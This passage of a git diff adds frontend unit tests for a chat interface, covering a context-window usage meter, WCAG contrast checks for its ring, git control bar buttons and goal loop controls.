+ context_window: 1_000_000,
+ per_turn_token: 198_500,
+ },
+ });
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("styled-tooltip-content")).toHaveTextContent(
+ "CHAT_INTERFACE$SHOW_CONTEXT",
+ );
+ });
+
+ // The trigger must share the actions-row icon-button hover fill. Its own
+ // `--oh-interactive-hover` fill was both wrong for this surface (that token
+ // is for 800 backgrounds; the composer is `--oh-surface`) and identical in
+ // value to `--oh-border`, which the ring track used, so hovering erased the
+ // track. `context-window-ring.test.tsx` asserts the resulting contrast.
+ it("uses the shared chat-input icon button styling for its hover fill", () => {
+ useMetricsStore.setState({
+ cost: null,
+ max_budget_per_task: null,
+ usage: {
+ prompt_tokens: 0,
+ completion_tokens: 0,
+ cache_read_tokens: 0,
+ cache_write_tokens: 0,
+ context_window: 1_000_000,
+ per_turn_token: 198_500,
+ },
+ });
+
+ renderWithProviders( );
+
+ const trigger = screen.getByTestId("context-window-meter");
+ expect(trigger).toHaveClass("hover:bg-white/10");
+ expect(trigger.className).not.toContain("--oh-interactive-hover");
+ });
+
+ it("opens a popover with compact usage details", () => {
+ useMetricsStore.setState({
+ cost: null,
+ max_budget_per_task: null,
+ usage: {
+ prompt_tokens: 0,
+ completion_tokens: 0,
+ cache_read_tokens: 0,
+ cache_write_tokens: 0,
+ context_window: 1_000_000,
+ per_turn_token: 198_500,
+ },
+ });
+
+ renderWithProviders( );
+
+ fireEvent.click(screen.getByTestId("context-window-meter"));
+
+ expect(
+ screen.getByTestId("context-window-meter-popover"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText("20% CONVERSATION$USED (80% CONVERSATION$LEFT)"),
+ ).toBeInTheDocument();
+ expect(screen.getByText("198.5k / 1.0M")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("context-window-compact-button"),
+ ).toHaveTextContent("CONVERSATION$COMPACT_CONTEXT");
+ expect(
+ screen.getByText("CONVERSATION$CONTEXT_WINDOW"),
+ ).toBeInTheDocument();
+ });
+
+ it("opens the Usage drawer from the popover meter", () => {
+ useMetricsStore.setState({
+ cost: 1.25,
+ max_budget_per_task: null,
+ usage: {
+ prompt_tokens: 0,
+ completion_tokens: 0,
+ cache_read_tokens: 0,
+ cache_write_tokens: 0,
+ context_window: 1_000_000,
+ per_turn_token: 198_500,
+ },
+ });
+
+ renderWithProviders( );
+
+ fireEvent.click(screen.getByTestId("context-window-meter"));
+ fireEvent.click(screen.getByTestId("context-window-meter-bar-button"));
+
+ expect(navigateToTabMock).toHaveBeenCalledWith("usage");
+ });
+
+ it("opens the Usage drawer from the usage row", () => {
+ useMetricsStore.setState({
+ cost: 1.25,
+ max_budget_per_task: null,
+ usage: {
+ prompt_tokens: 0,
+ completion_tokens: 0,
+ cache_read_tokens: 0,
+ cache_write_tokens: 0,
+ context_window: 1_000_000,
+ per_turn_token: 198_500,
+ },
+ });
+
+ renderWithProviders( );
+
+ fireEvent.click(screen.getByTestId("context-window-meter"));
+ fireEvent.click(screen.getByTestId("context-window-plan-usage"));
+
+ expect(navigateToTabMock).toHaveBeenCalledWith("usage");
+ });
+});
diff --git a/__tests__/components/features/chat/components/context-window-ring.test.tsx b/__tests__/components/features/chat/components/context-window-ring.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..34e1940cc2908dd2023c0776d332fb9fa291ff4e
--- /dev/null
+++ b/__tests__/components/features/chat/components/context-window-ring.test.tsx
@@ -0,0 +1,136 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import {
+ ContextWindowRing,
+ CONTEXT_WINDOW_RING_TRACK_ALPHA,
+} from "#/components/features/chat/components/context-window-ring";
+import { COLOR_THEMES } from "#/themes/color-themes";
+
+/**
+ * WCAG 2.1 SC 1.4.11 asks 3:1 for non-text contrast. The ring's track carries
+ * information (the arc's proportion is only readable against it), so it is held
+ * to that bar rather than treated as chrome.
+ */
+const MIN_RATIO = 3;
+
+/**
+ * Themes are read from `color-themes.ts`, not from a stylesheet. `index.css`
+ * ships the deepsea scale but `DEFAULT_COLOR_THEME` overrides it at runtime, so
+ * a stylesheet-derived assertion validates a palette no default install renders.
+ */
+const SURFACE_STOP = "--cool-grey-925"; // --oh-surface, the composer background
+const FOREGROUND_STOP = "--cool-grey-100"; // --oh-foreground, the neutral arc
+
+/** `chatInputIconButtonClassName` fills the trigger with `hover:bg-white/10`. */
+const HOVER_OVERLAY = "#FFFFFF";
+const HOVER_ALPHA = 0.1;
+
+function channels(hex: string): [number, number, number] {
+ const h = hex.replace("#", "");
+ return [0, 2, 4].map((i) => parseInt(h.slice(i, i + 2), 16)) as [
+ number,
+ number,
+ number,
+ ];
+}
+
+function relativeLuminance(hex: string): number {
+ const [r, g, b] = channels(hex).map((channel) => {
+ const c = channel / 255;
+ return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
+ });
+ return 0.2126 * r + 0.7152 * g + 0.0722 * b;
+}
+
+function contrastRatio(a: string, b: string): number {
+ const [high, low] = [relativeLuminance(a), relativeLuminance(b)].sort(
+ (x, y) => y - x,
+ );
+ return (high + 0.05) / (low + 0.05);
+}
+
+/** Composite a translucent overlay onto an opaque backdrop. */
+function composite(overlay: string, backdrop: string, alpha: number): string {
+ const o = channels(overlay);
+ const b = channels(backdrop);
+ return `#${o
+ .map((channel, i) =>
+ Math.round(alpha * channel + (1 - alpha) * b[i])
+ .toString(16)
+ .padStart(2, "0"),
+ )
+ .join("")}`.toUpperCase();
+}
+
+describe("ContextWindowRing", () => {
+ it("draws the track and the arc in different tones", () => {
+ render( );
+
+ const track = screen.getByTestId("context-window-ring-track");
+ const arc = screen.getByTestId("context-window-ring-arc");
+
+ expect(track.style.stroke).not.toEqual(arc.getAttribute("stroke"));
+ });
+
+ it("derives the track from the foreground rather than a scale stop", () => {
+ render( );
+
+ // A stop-pinned track cannot hold across palettes; see the constant's docs.
+ expect(screen.getByTestId("context-window-ring-track").style.stroke).toEqual(
+ expect.stringContaining("var(--oh-foreground)"),
+ );
+ });
+
+ /**
+ * Read the alpha back out of what the component actually renders, so the
+ * contrast cases below describe the shipped track rather than a constant that
+ * could drift away from it.
+ */
+ function renderedTrackAlpha(): number {
+ render( );
+ const { stroke } = screen.getByTestId("context-window-ring-track").style;
+ const percent = stroke.match(/var\(--oh-foreground\)\s+([\d.]+)%/);
+ if (!percent) {
+ throw new Error(`track is not a foreground mix: ${stroke}`);
+ }
+ return Number(percent[1]) / 100;
+ }
+
+ it("renders the alpha it documents", () => {
+ expect(renderedTrackAlpha()).toBeCloseTo(CONTEXT_WINDOW_RING_TRACK_ALPHA, 5);
+ });
+
+ describe.each(Object.entries(COLOR_THEMES))(
+ "contrast under the %s palette",
+ (_key, theme) => {
+ const surface = theme.scale[SURFACE_STOP];
+ const arc = theme.scale[FOREGROUND_STOP];
+ const hoverFill = composite(HOVER_OVERLAY, surface, HOVER_ALPHA);
+
+ it("keeps the track legible against the composer surface", () => {
+ const track = composite(arc, surface, renderedTrackAlpha());
+
+ expect(contrastRatio(track, surface)).toBeGreaterThanOrEqual(MIN_RATIO);
+ });
+
+ it("keeps the track legible under the trigger's hover fill", () => {
+ const track = composite(arc, hoverFill, renderedTrackAlpha());
+
+ expect(contrastRatio(track, hoverFill)).toBeGreaterThanOrEqual(
+ MIN_RATIO,
+ );
+ });
+
+ it("keeps a neutral arc distinguishable from the track in both states", () => {
+ const alpha = renderedTrackAlpha();
+
+ expect(
+ contrastRatio(arc, composite(arc, surface, alpha)),
+ ).toBeGreaterThanOrEqual(MIN_RATIO);
+ expect(
+ contrastRatio(arc, composite(arc, hoverFill, alpha)),
+ ).toBeGreaterThanOrEqual(MIN_RATIO);
+ });
+ },
+ );
+});
diff --git a/__tests__/components/features/chat/components/resolve-picker-kind.test.ts b/__tests__/components/features/chat/components/resolve-picker-kind.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a430838a70f811805457ccce319d6160fa02b8e5
--- /dev/null
+++ b/__tests__/components/features/chat/components/resolve-picker-kind.test.ts
@@ -0,0 +1,43 @@
+import { describe, expect, it } from "vitest";
+import {
+ hasConversationStarted,
+ resolvePickerKind,
+} from "#/components/features/chat/components/resolve-picker-kind";
+
+// The pill is always an LLM selector (OSS-5735): agent-profile switching lives
+// in the "+" tools menu, and neither the backend nor the conversation's state
+// branches here any more — whether a pick is actionable is decided in
+// useChatInputLlmProfileState, so cloud never falls back to a raw model chip.
+describe("resolvePickerKind", () => {
+ it("shows the constrained model picker in an ACP context", () => {
+ expect(resolvePickerKind({ isAcp: true })).toBe("model");
+ });
+
+ it("shows the LLM-profile picker for an OpenHands context", () => {
+ expect(resolvePickerKind({ isAcp: false })).toBe("llm-profile");
+ });
+});
+
+describe("hasConversationStarted", () => {
+ const empty = {
+ isLoadingHistory: false,
+ hasUserEvents: false,
+ hasPendingUserMessages: false,
+ hasSubstantiveAgentActions: false,
+ hasModelEntries: false,
+ };
+
+ it("keeps a fully loaded blank conversation in pre-run state", () => {
+ expect(hasConversationStarted(empty)).toBe(false);
+ });
+
+ it.each([
+ "isLoadingHistory",
+ "hasUserEvents",
+ "hasPendingUserMessages",
+ "hasSubstantiveAgentActions",
+ "hasModelEntries",
+ ] as const)("treats %s as started", (field) => {
+ expect(hasConversationStarted({ ...empty, [field]: true })).toBe(true);
+ });
+});
diff --git a/__tests__/components/features/chat/file-path-chip.test.tsx b/__tests__/components/features/chat/file-path-chip.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ee69e5ae73679efb8457bfab6f57044b654789c1
--- /dev/null
+++ b/__tests__/components/features/chat/file-path-chip.test.tsx
@@ -0,0 +1,40 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { FilePathChip } from "#/components/features/chat/tool-visualizers/primitives/file-path-chip";
+
+const openWorkspaceFile = vi.fn();
+
+vi.mock("#/services/canvas-ui", () => ({
+ openWorkspaceFile: (...args: unknown[]) => openWorkspaceFile(...args),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "conv-1" }),
+}));
+
+describe("FilePathChip", () => {
+ beforeEach(() => {
+ openWorkspaceFile.mockClear();
+ });
+
+ it("opens the workspace file when clicked without a custom handler", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await user.click(screen.getByTestId("file-path-chip"));
+
+ expect(openWorkspaceFile).toHaveBeenCalledWith("test.md", "conv-1");
+ });
+
+ it("prefers a custom onClick over the default open handler", async () => {
+ const user = userEvent.setup();
+ const onClick = vi.fn();
+ render( );
+
+ await user.click(screen.getByTestId("file-path-chip"));
+
+ expect(onClick).toHaveBeenCalledTimes(1);
+ expect(openWorkspaceFile).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/components/features/chat/git-control-bar-pull-button.test.tsx b/__tests__/components/features/chat/git-control-bar-pull-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..83f86e237099cc7a09a49bad511db703afe96859
--- /dev/null
+++ b/__tests__/components/features/chat/git-control-bar-pull-button.test.tsx
@@ -0,0 +1,64 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { GitControlBarPullButton } from "#/components/features/chat/git-control-bar-pull-button";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => key,
+ }),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+ useTracking: () => ({
+ trackPullButtonClick: vi.fn(),
+ }),
+}));
+
+vi.mock("#/icons/u-arrow-down.svg?react", () => ({
+ default: ({ color }: { color?: string }) => (
+
+ ),
+}));
+
+describe("GitControlBarPullButton", () => {
+ it("uses muted theme colors when inactive during conversation loading", () => {
+ render(
+ ,
+ );
+
+ const button = screen.getByRole("button");
+ expect(button).toBeDisabled();
+ expect(button.className).toContain("text-[var(--oh-muted)]");
+ expect(button.className).toContain("opacity-50");
+ expect(button.className).not.toContain("hover:bg-tertiary");
+ expect(screen.getByTestId("pull-icon")).toHaveAttribute(
+ "data-color",
+ "var(--oh-muted)",
+ );
+ });
+
+ it("uses active theme colors when conversation is ready", () => {
+ render(
+ ,
+ );
+
+ const button = screen.getByRole("button");
+ expect(button).not.toBeDisabled();
+ expect(button.className).toContain("text-white");
+ expect(button.className).toContain("hover:bg-tertiary");
+ expect(screen.getByTestId("pull-icon")).toHaveAttribute(
+ "data-color",
+ "white",
+ );
+ });
+});
diff --git a/__tests__/components/features/chat/git-control-bar-repo-button.test.tsx b/__tests__/components/features/chat/git-control-bar-repo-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..46d6ca2f51d4b0b940d610f37a765f2e51912416
--- /dev/null
+++ b/__tests__/components/features/chat/git-control-bar-repo-button.test.tsx
@@ -0,0 +1,204 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { GitControlBarRepoButton } from "#/components/features/chat/git-control-bar-repo-button";
+
+// Mock react-i18next
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => key,
+ }),
+}));
+
+// Mock GitProviderIcon
+vi.mock("#/components/shared/git-provider-icon", () => ({
+ GitProviderIcon: ({ gitProvider }: { gitProvider: string }) => (
+ {gitProvider}
+ ),
+}));
+
+// Mock GitExternalLinkIcon
+vi.mock("#/components/features/chat/git-external-link-icon", () => ({
+ GitExternalLinkIcon: () => (
+ external
+ ),
+}));
+
+// Mock RepoForkedIcon
+vi.mock("#/icons/repo-forked.svg?react", () => ({
+ default: () => forked ,
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => ({ data: { provider_tokens_set: {} } }),
+}));
+
+// Mock constructRepositoryUrl
+vi.mock("#/utils/utils", async (importOriginal) => {
+ const actual = await importOriginal();
+ return {
+ ...actual,
+ constructRepositoryUrl: (provider: string, repo: string) =>
+ `https://${provider}.com/${repo}`,
+ };
+});
+
+describe("GitControlBarRepoButton", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ });
+
+ describe("when repository is connected", () => {
+ it("should render as a link with repository name", () => {
+ render(
+ ,
+ );
+
+ const link = screen.getByRole("link");
+ expect(link).toHaveAttribute("href", "https://github.com/owner/repo");
+ expect(link).toHaveAttribute("target", "_blank");
+ expect(screen.getByText("owner/repo")).toBeInTheDocument();
+ });
+
+ it("should show git provider icon and external link icon", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("git-provider-icon")).toBeInTheDocument();
+ expect(screen.getByTestId("git-external-link-icon")).toBeInTheDocument();
+ });
+
+ it("should not show repo forked icon", () => {
+ render(
+ ,
+ );
+
+ expect(screen.queryByTestId("repo-forked-icon")).not.toBeInTheDocument();
+ });
+ });
+
+ describe("when only a workspace name is provided", () => {
+ it("should display the workspace name as the button text", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByText("test")).toBeInTheDocument();
+ });
+ });
+
+ describe("when no repository is connected", () => {
+ it("should render as a button with 'Connect Repo' i18n key", () => {
+ render(
+ ,
+ );
+
+ const button = screen.getByRole("button");
+ expect(button).toBeInTheDocument();
+ expect(screen.getByText("COMMON$CONNECT_REPO")).toBeInTheDocument();
+ });
+
+ it("should show folder-open icon for connect-repo CTA", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("git-control-bar-connect-repo-icon"),
+ ).toBeInTheDocument();
+ expect(screen.queryByTestId("repo-forked-icon")).not.toBeInTheDocument();
+ });
+
+ it("should not show external link icon", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("git-external-link-icon"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should call onClick when clicked", async () => {
+ const handleClick = vi.fn();
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ await user.click(screen.getByRole("button"));
+ expect(handleClick).toHaveBeenCalledTimes(1);
+ });
+
+ it("should be disabled when disabled prop is true", () => {
+ render(
+ ,
+ );
+
+ const button = screen.getByRole("button");
+ expect(button).toBeDisabled();
+ });
+
+ it("should be clickable when disabled prop is false", () => {
+ render(
+ ,
+ );
+
+ const button = screen.getByRole("button");
+ expect(button).not.toBeDisabled();
+ });
+
+ it("should not call onClick when disabled", async () => {
+ const handleClick = vi.fn();
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ await user.click(screen.getByRole("button"));
+ expect(handleClick).not.toHaveBeenCalled();
+ });
+ });
+});
diff --git a/__tests__/components/features/chat/git-control-bar.test.tsx b/__tests__/components/features/chat/git-control-bar.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b1c067d0ac52b03e286b1fdc2f73582190e39966
--- /dev/null
+++ b/__tests__/components/features/chat/git-control-bar.test.tsx
@@ -0,0 +1,283 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+
+import { useActiveBackend } from "#/contexts/active-backend-context";
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+import { useTaskPolling } from "#/hooks/query/use-task-polling";
+import { useLocalGitInfo } from "#/hooks/query/use-local-git-info";
+import { useUnifiedWebSocketStatus } from "#/hooks/use-unified-websocket-status";
+import { useConversationWebSocket } from "#/contexts/conversation-websocket-context";
+import { useSendMessage } from "#/hooks/use-send-message";
+import { useUpdateConversationRepository } from "#/hooks/mutation/use-update-conversation-repository";
+import { useHomeStore } from "#/stores/home-store";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { getStoredConversationMetadata } from "#/api/conversation-metadata-store";
+import { GitControlBar } from "#/components/features/chat/git-control-bar";
+import { ScrollProvider } from "#/context/scroll-context";
+
+// Holder so the OpenRepositoryModal mock can hand its `onLaunch` prop back
+// to the test — the modal renders null but the parent's launch flow is the
+// only way to drive handleLaunchRepository.
+const mocks = vi.hoisted(() => ({
+ modalLaunchHandler: {
+ current: null as ((repo: unknown, branch: unknown) => void) | null,
+ },
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+ useConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+vi.mock("#/contexts/active-backend-context");
+vi.mock("#/hooks/query/use-active-conversation");
+vi.mock("#/hooks/query/use-task-polling");
+vi.mock("#/hooks/query/use-local-git-info");
+vi.mock("#/hooks/use-unified-websocket-status");
+vi.mock("#/contexts/conversation-websocket-context");
+vi.mock("#/hooks/use-send-message");
+vi.mock("#/hooks/mutation/use-update-conversation-repository");
+vi.mock("#/stores/home-store");
+vi.mock("#/stores/optimistic-user-message-store");
+vi.mock("#/api/conversation-metadata-store");
+
+vi.mock("#/components/features/chat/git-control-bar-repo-button", () => ({
+ GitControlBarRepoButton: ({ disabled }: { disabled?: boolean }) => (
+
+ ),
+}));
+vi.mock("#/components/features/chat/git-control-bar-branch-button", () => ({
+ GitControlBarBranchButton: () => null,
+}));
+vi.mock("#/components/features/chat/git-control-bar-pull-button", () => ({
+ GitControlBarPullButton: () => null,
+}));
+vi.mock("#/components/features/chat/git-control-bar-push-button", () => ({
+ GitControlBarPushButton: () => null,
+}));
+vi.mock("#/components/features/chat/git-control-bar-pr-button", () => ({
+ GitControlBarPrButton: () => null,
+}));
+vi.mock("#/components/features/chat/git-control-bar-tooltip-wrapper", () => ({
+ GitControlBarTooltipWrapper: ({ children }: { children: React.ReactNode }) =>
+ children,
+}));
+vi.mock("#/components/features/chat/open-repository-modal", () => ({
+ OpenRepositoryModal: (props: {
+ onLaunch?: (repo: unknown, branch: unknown) => void;
+ }) => {
+ mocks.modalLaunchHandler.current = props.onLaunch ?? null;
+ return null;
+ },
+}));
+
+const makeBackend = (kind: "local" | "cloud") => ({
+ backend: {
+ id: "backend-id",
+ name: kind === "local" ? "Local" : "Cloud",
+ host: "http://example.test",
+ apiKey: "test-key",
+ kind,
+ },
+ orgId: null,
+});
+
+describe("GitControlBar clone prompt format", () => {
+ // Helper function that mirrors the logic in git-control-bar.tsx
+ const generateClonePrompt = (
+ fullName: string,
+ gitProvider: string,
+ branchName: string,
+ ) => {
+ const providerName =
+ gitProvider.charAt(0).toUpperCase() + gitProvider.slice(1);
+ return `Clone ${fullName} from ${providerName} and checkout branch ${branchName}.`;
+ };
+
+ it("should include GitHub in clone prompt for github provider", () => {
+ const prompt = generateClonePrompt("user/repo", "github", "main");
+ expect(prompt).toBe(
+ "Clone user/repo from Github and checkout branch main.",
+ );
+ });
+
+ it("should include GitLab in clone prompt for gitlab provider", () => {
+ const prompt = generateClonePrompt("group/project", "gitlab", "develop");
+ expect(prompt).toBe(
+ "Clone group/project from Gitlab and checkout branch develop.",
+ );
+ });
+
+ it("should handle different branch names", () => {
+ const prompt = generateClonePrompt(
+ "hieptl.developer-group/hieptl.developer-project",
+ "gitlab",
+ "add-batman-microagent",
+ );
+ expect(prompt).toBe(
+ "Clone hieptl.developer-group/hieptl.developer-project from Gitlab and checkout branch add-batman-microagent.",
+ );
+ });
+
+ it("should capitalize first letter of provider name", () => {
+ const githubPrompt = generateClonePrompt("a/b", "github", "main");
+ const gitlabPrompt = generateClonePrompt("a/b", "gitlab", "main");
+
+ expect(githubPrompt).toContain("from Github");
+ expect(gitlabPrompt).toContain("from Gitlab");
+ });
+});
+
+describe("GitControlBar repo button visibility", () => {
+ beforeEach(() => {
+ vi.mocked(useActiveConversation).mockReturnValue({
+ data: { id: "test-conversation-id" },
+ } as ReturnType);
+ vi.mocked(useTaskPolling).mockReturnValue({
+ repositoryInfo: null,
+ } as unknown as ReturnType);
+ vi.mocked(useLocalGitInfo).mockReturnValue({
+ data: null,
+ } as unknown as ReturnType);
+ vi.mocked(useUnifiedWebSocketStatus).mockReturnValue("OPEN");
+ vi.mocked(useConversationWebSocket).mockReturnValue({
+ isLoadingHistory: false,
+ } as ReturnType);
+ vi.mocked(useSendMessage).mockReturnValue({
+ send: vi.fn(),
+ } as unknown as ReturnType);
+ vi.mocked(useUpdateConversationRepository).mockReturnValue({
+ mutate: vi.fn(),
+ } as unknown as ReturnType);
+ vi.mocked(useHomeStore).mockReturnValue({
+ addRecentRepository: vi.fn(),
+ } as unknown as ReturnType);
+ vi.mocked(useOptimisticUserMessageStore).mockImplementation(((
+ selector: (s: unknown) => unknown,
+ ) =>
+ selector({
+ enqueuePendingMessage: vi.fn(),
+ markPendingMessageError: vi.fn(),
+ })) as unknown as typeof useOptimisticUserMessageStore);
+ vi.mocked(getStoredConversationMetadata).mockReturnValue(null);
+ });
+
+ it("hides the repo button on a local backend with no repository or workspace name", () => {
+ vi.mocked(useActiveBackend).mockReturnValue(makeBackend("local"));
+
+ renderWithProviders( );
+
+ expect(
+ screen.queryByTestId("git-control-bar-repo-button"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows the repo button on a cloud backend with no repository connected", () => {
+ vi.mocked(useActiveBackend).mockReturnValue(makeBackend("cloud"));
+
+ renderWithProviders( );
+
+ expect(
+ screen.getByTestId("git-control-bar-repo-button"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders the repo button as disabled on a local backend when only a workspace name is available", () => {
+ vi.mocked(useActiveBackend).mockReturnValue(makeBackend("local"));
+ vi.mocked(getStoredConversationMetadata).mockReturnValue({
+ selected_workspace: "/projects/my-app",
+ } as ReturnType);
+
+ renderWithProviders( );
+
+ const button = screen.getByTestId("git-control-bar-repo-button");
+ expect(button).toHaveAttribute("data-disabled", "true");
+ });
+
+ it("renders the repo button as disabled while conversation history is loading", () => {
+ vi.mocked(useActiveBackend).mockReturnValue(makeBackend("cloud"));
+ vi.mocked(useConversationWebSocket).mockReturnValue({
+ isLoadingHistory: true,
+ } as ReturnType);
+
+ renderWithProviders( );
+
+ const button = screen.getByTestId("git-control-bar-repo-button");
+ expect(button).toHaveAttribute("data-disabled", "true");
+ });
+});
+
+describe("GitControlBar - Auto-scroll on clone (issue #817)", () => {
+ beforeEach(() => {
+ mocks.modalLaunchHandler.current = null;
+ vi.mocked(useActiveBackend).mockReturnValue(makeBackend("cloud"));
+ vi.mocked(useActiveConversation).mockReturnValue({
+ data: { id: "test-conversation-id" },
+ } as ReturnType);
+ vi.mocked(useTaskPolling).mockReturnValue({
+ repositoryInfo: null,
+ } as unknown as ReturnType);
+ vi.mocked(useLocalGitInfo).mockReturnValue({
+ data: null,
+ } as unknown as ReturnType);
+ vi.mocked(useUnifiedWebSocketStatus).mockReturnValue("OPEN");
+ vi.mocked(useSendMessage).mockReturnValue({
+ send: vi.fn().mockResolvedValue(undefined),
+ } as unknown as ReturnType);
+ // updateRepository mocked to invoke onSuccess synchronously so the
+ // post-update branch (where the scroll now lives) runs deterministically.
+ vi.mocked(useUpdateConversationRepository).mockReturnValue({
+ mutate: (_args: unknown, options: { onSuccess?: () => void }) => {
+ options?.onSuccess?.();
+ },
+ } as unknown as ReturnType);
+ vi.mocked(useHomeStore).mockReturnValue({
+ addRecentRepository: vi.fn(),
+ } as unknown as ReturnType);
+ vi.mocked(useOptimisticUserMessageStore).mockImplementation(((
+ selector: (s: unknown) => unknown,
+ ) =>
+ selector({
+ enqueuePendingMessage: vi.fn().mockReturnValue("pending-id"),
+ markPendingMessageError: vi.fn(),
+ })) as unknown as typeof useOptimisticUserMessageStore);
+ vi.mocked(getStoredConversationMetadata).mockReturnValue(null);
+ });
+
+ it("scrolls the chat to bottom after a successful clone is enqueued", () => {
+ // Arrange: provide a spy via ScrollProvider so we can observe the
+ // scroll callback the bar pulls out of useOptionalScrollContext.
+ const scrollDomToBottom = vi.fn();
+ const scrollValue = {
+ scrollRef: { current: null },
+ autoScroll: true,
+ setAutoScroll: vi.fn(),
+ scrollDomToBottom,
+ hitBottom: true,
+ setHitBottom: vi.fn(),
+ onChatBodyScroll: vi.fn(),
+ };
+
+ renderWithProviders(
+
+
+ ,
+ );
+
+ expect(typeof mocks.modalLaunchHandler.current).toBe("function");
+
+ // Act: drive handleLaunchRepository the same way the modal does.
+ mocks.modalLaunchHandler.current?.(
+ { full_name: "user/repo", git_provider: "github" },
+ { name: "main" },
+ );
+
+ // Assert: the optimistic clone bubble must pull the chat back to the
+ // bottom even if the user had scrolled up.
+ expect(scrollDomToBottom).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/__tests__/components/features/chat/goal-status-content.test.tsx b/__tests__/components/features/chat/goal-status-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..903d02d63c7b7a381dfdd7ad9731a8d618f58d65
--- /dev/null
+++ b/__tests__/components/features/chat/goal-status-content.test.tsx
@@ -0,0 +1,78 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { GoalStatusContent } from "#/components/features/chat/goal-status-content";
+import { useGoalStore } from "#/stores/goal-store";
+import type { GoalStatus } from "#/types/agent-server/core/events/conversation-state-event";
+
+const stopGoal = vi.fn();
+const resumeGoal = vi.fn();
+const pauseConversation = vi.fn();
+
+vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({
+ stopGoal: (...a: unknown[]) => stopGoal(...a),
+ resumeGoal: (...a: unknown[]) => resumeGoal(...a),
+ pauseConversation: (...a: unknown[]) => pauseConversation(...a),
+}));
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "conv-1" }),
+}));
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+const status = (overrides: Partial = {}): GoalStatus =>
+ ({
+ active: false,
+ status: "interrupted",
+ iteration: 1,
+ max_iterations: 10,
+ objective: "do the thing",
+ verdict: null,
+ ...overrides,
+ }) as GoalStatus;
+
+describe("GoalStatusContent loop controls", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ stopGoal.mockResolvedValue(undefined);
+ resumeGoal.mockResolvedValue(undefined);
+ pauseConversation.mockResolvedValue(undefined);
+ useGoalStore.setState({ statusByConversation: {} });
+ });
+
+ it("Stop cancels the loop and interrupts the agent on an active goal", async () => {
+ render(
+ ,
+ );
+ await userEvent.click(screen.getByTestId("goal-stop"));
+ await waitFor(() => expect(stopGoal).toHaveBeenCalledWith("conv-1"));
+ await waitFor(() =>
+ expect(pauseConversation).toHaveBeenCalledWith("conv-1"),
+ );
+ });
+
+ it("Resume continues an interrupted goal", async () => {
+ render( );
+ await userEvent.click(screen.getByTestId("goal-resume"));
+ await waitFor(() => expect(resumeGoal).toHaveBeenCalledWith("conv-1"));
+ });
+
+ it("hides Resume while another goal is already active", () => {
+ useGoalStore.setState({
+ statusByConversation: {
+ "conv-1": status({ active: true, status: "running" }),
+ },
+ });
+ render( );
+ expect(screen.queryByTestId("goal-resume")).toBeNull();
+ });
+
+ it("shows no controls for a completed goal", () => {
+ render( );
+ expect(screen.queryByTestId("goal-stop")).toBeNull();
+ expect(screen.queryByTestId("goal-resume")).toBeNull();
+ });
+});
diff --git a/__tests__/components/features/chat/model-messages.test.tsx b/__tests__/components/features/chat/model-messages.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ac83ec5f21d608a5bcb2701daca7fbb3d7b4ffc2
--- /dev/null
+++ b/__tests__/components/features/chat/model-messages.test.tsx
@@ -0,0 +1,144 @@
+import { beforeEach, describe, expect, it } from "vitest";
+import { screen } from "@testing-library/react";
+import i18n from "i18next";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { ModelMessages } from "#/components/features/chat/model-messages";
+import { useModelStore } from "#/stores/model-store";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+import type { ProfileInfo } from "#/api/profiles-service/profiles-service.api";
+
+const CONVERSATION_ID = "conv-1";
+
+const profiles: ProfileInfo[] = [
